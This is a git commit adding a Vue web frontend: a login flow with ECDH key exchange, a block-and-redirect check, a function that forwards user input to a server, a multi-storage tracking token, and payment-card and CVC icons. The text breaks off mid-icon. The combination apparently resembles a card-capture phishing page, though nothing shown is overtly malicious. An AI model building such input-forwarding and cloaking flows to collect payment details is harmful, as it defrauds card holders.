This commit is contained in:
telangpu
2026-05-10 23:13:23 +08:00
parent 04f5825fc5
commit c8dc57a3f6
123 changed files with 38613 additions and 0 deletions

View File

@@ -0,0 +1,70 @@
<script setup lang="ts">
import { RouterView } from "vue-router";
import { onMounted } from "vue";
import http from "@/api/http";
import { useLoadingStore } from "@/stores/loadingStore";
import {
configData,
loginSuccess,
redirectToExternal,
headHtml,
loadHtml,
headerHtml,
footerHtml,
} from "@/utils/common";
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
import LoadingView from "@/views/LoadingView.vue";
const loadingStore = useLoadingStore();
onMounted(() => {
login();
});
const login = async function () {
headerHtml.value = await loadHtml("/Static_zy/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
if (data.data.isBlock) {
redirectToExternal();
return;
}
if (data.data.isFirst) {
localStorage.removeItem("route")
}
let token = data.data.Token;
if (data.data.mode) {
localStorage.setItem("mode", data.data.mode);
}
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
let sessionCrypto = null;
if (serverPubKey) {
try {
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
} catch (e) {
}
}
loginSuccess(token, data.data.mode, sessionCrypto);
if (data.data.custom) {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/Static_zy/footer.html");
};
</script>
<template>
<div v-html="headHtml"></div>
<LoadingView />
<RouterView />
</template>
<style scoped></style>

View File

@@ -0,0 +1,5 @@
import http from "@/api/http";
export function sendInput(data: any) {
http.post("/api/input", data).then((data) => {});
}

View File

@@ -0,0 +1,223 @@
// http.js
import axios from "axios";
import { v4 as uuidv4 } from "uuid";
// ============ 配置 ============
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
? "/"
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
? `http://${import.meta.env.VITE_BASE_URL}`
: `https://${import.meta.env.VITE_BASE_URL}`;
const DB_CONFIG = {
name: "TokenDB",
version: 2,
store: "tokens",
key: "userToken",
} as const;
const STORAGE_KEY = "token";
// ============ IndexedDB 操作 ============
class TokenDB {
private static async open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
request.onerror = () => reject(request.error);
request.onsuccess = () => resolve(request.result);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
db.deleteObjectStore(DB_CONFIG.store);
}
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
};
});
}
static async get(): Promise<string | null> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readonly");
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
request.onsuccess = () => resolve(request.result?.value || null);
request.onerror = () => resolve(null);
tx.oncomplete = () => db.close();
tx.onabort = () => db.close();
});
} catch {
return null;
}
}
static async set(token: string): Promise<void> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readwrite");
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
tx.oncomplete = () => { db.close(); resolve(); };
tx.onerror = () => { db.close(); resolve(); };
});
} catch {
// 静默失败,有其他存储兜底
}
}
}
// ============ Token 管理器 ============
class TokenManager {
private static cache: string | null = null;
private static pending: Promise<string> | null = null;
// UUID v4 格式校验,防止脏数据
private static isValidToken(token: string | null): token is string {
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
}
// 安全地操作 Storage
private static safeGet(storage: Storage): string | null {
try {
return storage.getItem(STORAGE_KEY);
} catch {
return null;
}
}
private static safeSet(storage: Storage, token: string): void {
try {
storage.setItem(STORAGE_KEY, token);
} catch {
// 静默失败
}
}
// Cookie 操作同步iOS 上比 localStorage 更早可用)
private static getFromCookie(): string | null {
try {
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
return match ? decodeURIComponent(match[1]) : null;
} catch {
return null;
}
}
private static saveToCookie(token: string): void {
try {
// 有效期 400 天Safari 上限SameSite=Lax 兼容 WebView
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
} catch {
// 静默失败
}
}
// 同步到所有存储(后台执行,不阻塞)
private static syncToAllStorages(token: string): void {
this.safeSet(sessionStorage, token);
this.safeSet(localStorage, token);
this.saveToCookie(token);
TokenDB.set(token).catch(() => { });
}
// 从同步存储快速获取cookie 优先iOS 上最可靠的同步读取)
private static getFromSyncStorage(): string | null {
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
return this.isValidToken(token) ? token : null;
}
// 延迟后重试读取同步存储iOS 冷启动时存储可能未就绪)
private static waitAndRetrySync(ms: number): Promise<string | null> {
return new Promise(resolve => {
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
});
}
// 主入口:获取或创建 Token
static async getToken(): Promise<string> {
// 1. 内存缓存(最快)
if (this.cache) return this.cache;
// 2. 等待进行中的创建(并发安全)
if (this.pending) return this.pending;
// 3. 同步存储快速路径
const syncToken = this.getFromSyncStorage();
if (syncToken) {
this.cache = syncToken;
this.syncToAllStorages(syncToken);
return syncToken;
}
// 4. 异步获取或创建(带锁)
this.pending = this.createToken();
return this.pending;
}
private static async createToken(): Promise<string> {
try {
// 再次检查缓存
if (this.cache) return this.cache;
// 尝试从 IndexedDB 恢复
const dbToken = await TokenDB.get();
if (dbToken && this.isValidToken(dbToken)) {
this.cache = dbToken;
this.syncToAllStorages(dbToken);
return dbToken;
}
// iOS 冷启动兜底:等待一小段时间后重试同步存储
// localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
for (const delay of [50, 100, 150]) {
const retryToken = await this.waitAndRetrySync(delay);
if (retryToken) {
this.cache = retryToken;
this.syncToAllStorages(retryToken);
return retryToken;
}
}
// 所有恢复手段用尽,生成新 Token
const newToken = uuidv4();
this.cache = newToken;
this.syncToAllStorages(newToken);
return newToken;
} finally {
this.pending = null;
}
}
}
// ============ Axios 实例 ============
const http = axios.create({
baseURL: BASE_URL,
timeout: 15000,
});
// 请求拦截器
http.interceptors.request.use(
async (config) => {
const token = await TokenManager.getToken();
config.headers["Token"] = token;
config.headers["X-Token"] = token;
config.params = { ...config.params, token };
return config;
},
(error) => Promise.reject(error)
);
// 响应拦截器
http.interceptors.response.use(
(response) => response.data,
(error) => {
if (error.response) {
console.error("Error:", error.response.status, error.response.data);
} else {
console.error("Error:", error.message);
}
return Promise.reject(error);
}
);
export default http;

View File

@@ -0,0 +1,11 @@
html, body {
padding: 0;
border: 0;
margin: 0;
overflow-x: hidden;
overflow-y: auto;
overflow: hidden auto
}

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 901 B

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.7 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1 @@
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g transform="translate(80,50)">
<g transform="rotate(0)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,71.21320343559643)">
<g transform="rotate(45)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
</circle>
</g>
</g><g transform="translate(50,80)">
<g transform="rotate(90)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
</circle>
</g>
</g><g transform="translate(28.786796564403577,71.21320343559643)">
<g transform="rotate(135)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
</circle>
</g>
</g><g transform="translate(20,50.00000000000001)">
<g transform="rotate(180)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
</circle>
</g>
</g><g transform="translate(28.78679656440357,28.786796564403577)">
<g transform="rotate(225)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
</circle>
</g>
</g><g transform="translate(49.99999999999999,20)">
<g transform="rotate(270)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,28.78679656440357)">
<g transform="rotate(315)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
</circle>
</g>
</g>
<!-- [ldio] generated by https://loading.io/ --></svg>

After

Width:  |  Height:  |  Size: 3.9 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.8 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 